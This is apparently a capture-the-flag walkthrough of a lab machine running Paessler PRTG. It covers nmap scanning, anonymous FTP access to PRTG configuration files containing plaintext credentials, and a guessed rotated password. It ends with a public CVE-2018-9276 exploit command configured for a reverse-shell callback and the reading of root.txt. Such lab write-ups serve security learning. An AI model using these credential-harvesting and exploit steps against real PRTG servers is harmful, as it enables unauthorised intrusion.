

Scanning

Nmap

```
└─$ sudo nmap -T4 -sV -p- -O 10.10.10.152
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-01 11:35 +07
Nmap scan report for 10.10.10.152 (10.10.10.152)
Host is up (0.031s latency).
Not shown: 65522 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          Microsoft ftpd
80/tcp    open  http         Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49664/tcp open  msrpc        Microsoft Windows RPC
49665/tcp open  msrpc        Microsoft Windows RPC
49666/tcp open  msrpc        Microsoft Windows RPC
49667/tcp open  msrpc        Microsoft Windows RPC
49668/tcp open  msrpc        Microsoft Windows RPC
49669/tcp open  msrpc        Microsoft Windows RPC
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=6/1%OT=21%CT=1%CU=34700%PV=Y%DS=2%DC=I%G=Y%TM=665AA
OS:59F%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=103%TI=I%CI=I%II=I%SS=S%T
OS:S=A)SEQ(SP=105%GCD=3%ISR=103%TI=I%CI=I%II=I%SS=S%TS=A)OPS(O1=M53CNW8ST11
OS:%O2=M53CNW8ST11%O3=M53CNW8NNT11%O4=M53CNW8ST11%O5=M53CNW8ST11%O6=M53CST1
OS:1)WIN(W1=2000%W2=2000%W3=2000%W4=2000%W5=2000%W6=2000)ECN(R=Y%DF=Y%T=80%
OS:W=2000%O=M53CNW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R=
OS:Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%T=80%W=0%S=Z%A=0%F=A
OS:R%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=0%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=8
OS:0%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=0%F=R%O=%RD=0%
OS:Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=80%IPL=16
OS:4%UN=0%RIPL=6%RID=6%RIPCK=6%RUCK=6%RUD=G)IE(R=Y%DFI=N%T=80%CD=Z)
Network Distance: 2 hops
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 127.11 seconds
```

Enumeration

PRTG Passwords

FTP

user:pass = prtgadmin:prtgadmin *Not working

anonymous ftp works! = anonymous:

Link: <https://kb.paessler.com/en/topic/463-how-and-where-does-prtg-store-its-data>

```

ftp> ls -a
229 Entering Extended Passive Mode (||||49951|)
150 Opening ASCII mode data connection.
11-20-16 10:46PM <DIR> $RECYCLE.BIN
02-03-19 12:18AM 1024 .rnd
11-20-16 09:59PM 389408 bootmgr
07-16-16 09:10AM 1 BOOTNXT
02-03-19 08:05AM <DIR> Documents and Settings
02-25-19 10:15PM <DIR> inetpub
06-07-24 04:34AM 738197504 pagefile.sys
07-16-16 09:18AM <DIR> PerfLogs
02-25-19 10:56PM <DIR> Program Files
02-03-19 12:28AM <DIR> Program Files (x86)
12-15-21 10:40AM <DIR> ProgramData
02-03-19 08:05AM <DIR> Recovery
02-03-19 08:04AM <DIR> System Volume Information
02-03-19 08:08AM <DIR> Users
11-10-23 10:20AM <DIR> Windows
226 Transfer complete.

```

Path = C:\ProgramData\Paessler\PRTG Network Monitor

List File and Folder in Config Path

```

ftp> cd PRTG\ Network\ Monitor
250 CWD command successful.
ftp> ls -a
229 Entering Extended Passive Mode (||||52953|)
150 Opening ASCII mode data connection.
08-18-23 08:20AM <DIR> Configuration Auto-Backups
06-07-24 04:35AM <DIR> Log Database
02-03-19 12:18AM <DIR> Logs (Debug)
02-03-19 12:18AM <DIR> Logs (Sensors)
02-03-19 12:18AM <DIR> Logs (System)
06-07-24 04:35AM <DIR> Logs (Web Server)
06-07-24 04:40AM <DIR> Monitoring Database
02-25-19 10:54PM 1189697 PRTG Configuration.dat
02-25-19 10:54PM 1189697 PRTG Configuration.old
07-14-18 03:13AM 1153755 PRTG Configuration.old.bak
06-07-24 08:04AM 1731660 PRTG Graph Data Cache.dat
02-25-19 11:00PM <DIR> Report PDFs
02-03-19 12:18AM <DIR> System Information Database
02-03-19 12:40AM <DIR> Ticket Database
02-03-19 12:18AM <DIR> ToDo Database
226 Transfer complete.
ftp>

```

From PRTG\ Configuration.dat, PRTG\ Configuration.old

```
29925         </dateformat>
29926         <email>
29927             na@na.com
29928         </email>
29929         <fixed>
29930             1
29931         </fixed>
29932         <grpfoldsize>
29933             10
29934         </grpfoldsize>
29935         <homepage>
29936             /welcome.htm
29937         </homepage>
29938         <lastlogin>
29939             43522.1088048495
29940         </lastlogin>
29941         <login>
29942             prtgadmin
29943         </login>
29944         <name>
29945             PRTG System Administrator
29946         </name>
29947         <ownerid>
29948             100
29949         </ownerid>
29950         <password>
29951             <flags>
29952                 <encrypted/>
29953             </flags>
29954             <cell col="0" crypt="PRTG">
29955                 J03Y7LLK7IBKMDN3DABSVAQ05MR5IDWF3MJLDOWSA=====
29956             </cell>
29957             <cell col="1" crypt="PRTG">
29958                 OEASMEIE74Q5VXSPFJA2EEGBMEUEXFWW
29959             </cell>
29960         </password>
29961         <playsound>
29962             0
29963         </playsound>
29964         <position>
29965             2147483647
29966         </position>
29967         <primarygroup>
29968             200
29969         </primarygroup>
```

From PRTG\ Configuration.old.bak

```

125     </clusterconfig>
126     <commentgroup>
127         0
128     </commentgroup>
129     <comments>
130         <flags>
131             <encrypted/>
132         </flags>
133     </comments>
134     <dbauth>
135         0
136     </dbauth>
137     <dbcredentials>
138         0
139     </dbcredentials>
140     <dbpassword>
141         <!-- User: prtgadmin -->
142         PrTg@dmin2018
143     </dbpassword>
144     <dbtimeout>
145         60
146     </dbtimeout>
147     <depdelay>
148         0
149     </depdelay>
150     <dependencytype>
151         0
152     </dependencytype>
153     <discoveryschedule>
154         0
155     </discoveryschedule>
156     <discoverytype>
157         0
158     </discoverytype>

```

User: prtgadmin

Old Password: PrTg@dmin2018

Based from hint: Consider that this box was released in 2019 and that users are forced to rotate their passwords from time to time.

The new password is PrTg@dmin2019

PRTG Version

version: 18.1.37.13946

Setup | Auto-Update

Auto-Update

Status Log Settings

Here you can automatically update your PRTG installation.

- If you are using the freeware or trial edition you can always update to the latest version for free
- If you are using a commercial edition your license key must be covered by a valid maintenance contract in order to download updates.
- You can always prolong your maintenance at <https://shop.paessler.com>

You can deactivate automatic downloading in the [Settings tab](#).

Update Status For PRTG Network Monitor

Latest Message from Auto-Update	[2/2/2019 11:18:36 PM] Version 18.4.47.1962 has been downloaded and is ready for installation. Please visit Setup\Autoupdate to initiate the installation.
Currently Installed Version	18.1.37.13946
Currently Selected Release Channel	Stable Select Other Release Channel
Latest Version Available from Paessler	18.4.47.1962 NEW! Check For Latest Update and Download
Latest Downloaded Version	18.4.47.1962 NEW! Install Update 18.4.47.1962 File: PRTG Network Monitor 18.4.47.1962 Setup (Stable).exe

Release Notes For Version: 18.4.47.1962

Updating from version 17.3.33 or previous? Read this important message!

- PRTG 17.3.34 comes with a completely rewritten web interface. If you have customized the PRTG web interface using one of the dedicated files, all your customizations will be lost with the version you are going to install.
- Please redo your changes after the update as described in this Knowledge Base article to keep customizations: Customizing and Re-Branding the PRTG Web Interface

Please make sure that you have installed the .NET 4.5 framework or later on your PRTG server and on all probe systems! Sensors that require the .NET framework will need .NET version 4.5, 4.6, or 4.7 on all computers running a probe after you have installed this update. [See this Knowledge Base article for details.](#)

Important security notice!

PRTG 18.1.38 contains an important security update for your PRTG installation. There is a security issue that affects PRTG versions 17.4.35.3326 through

For detailed information please visit: [PRTG Release Notes and Version History](#)

PAESSLER 18.1.37.13946 PRTG Systems Administrator 1:17 Refresh in 7 sec

Exploits

CVE-2018-9276

```
git clone https://github.com/A1vinSmith/CVE-2018-9276.git
python CVE-2018-9276.py -h
```

```
./exploit.py -i 10.10.10.152 -p 80 --lhost 10.10.14.6 --lport 4444 --user prtgadmin --password PrTg@dmin2019
```

```
C:\Users\Administrator\Desktop>type root.txt
```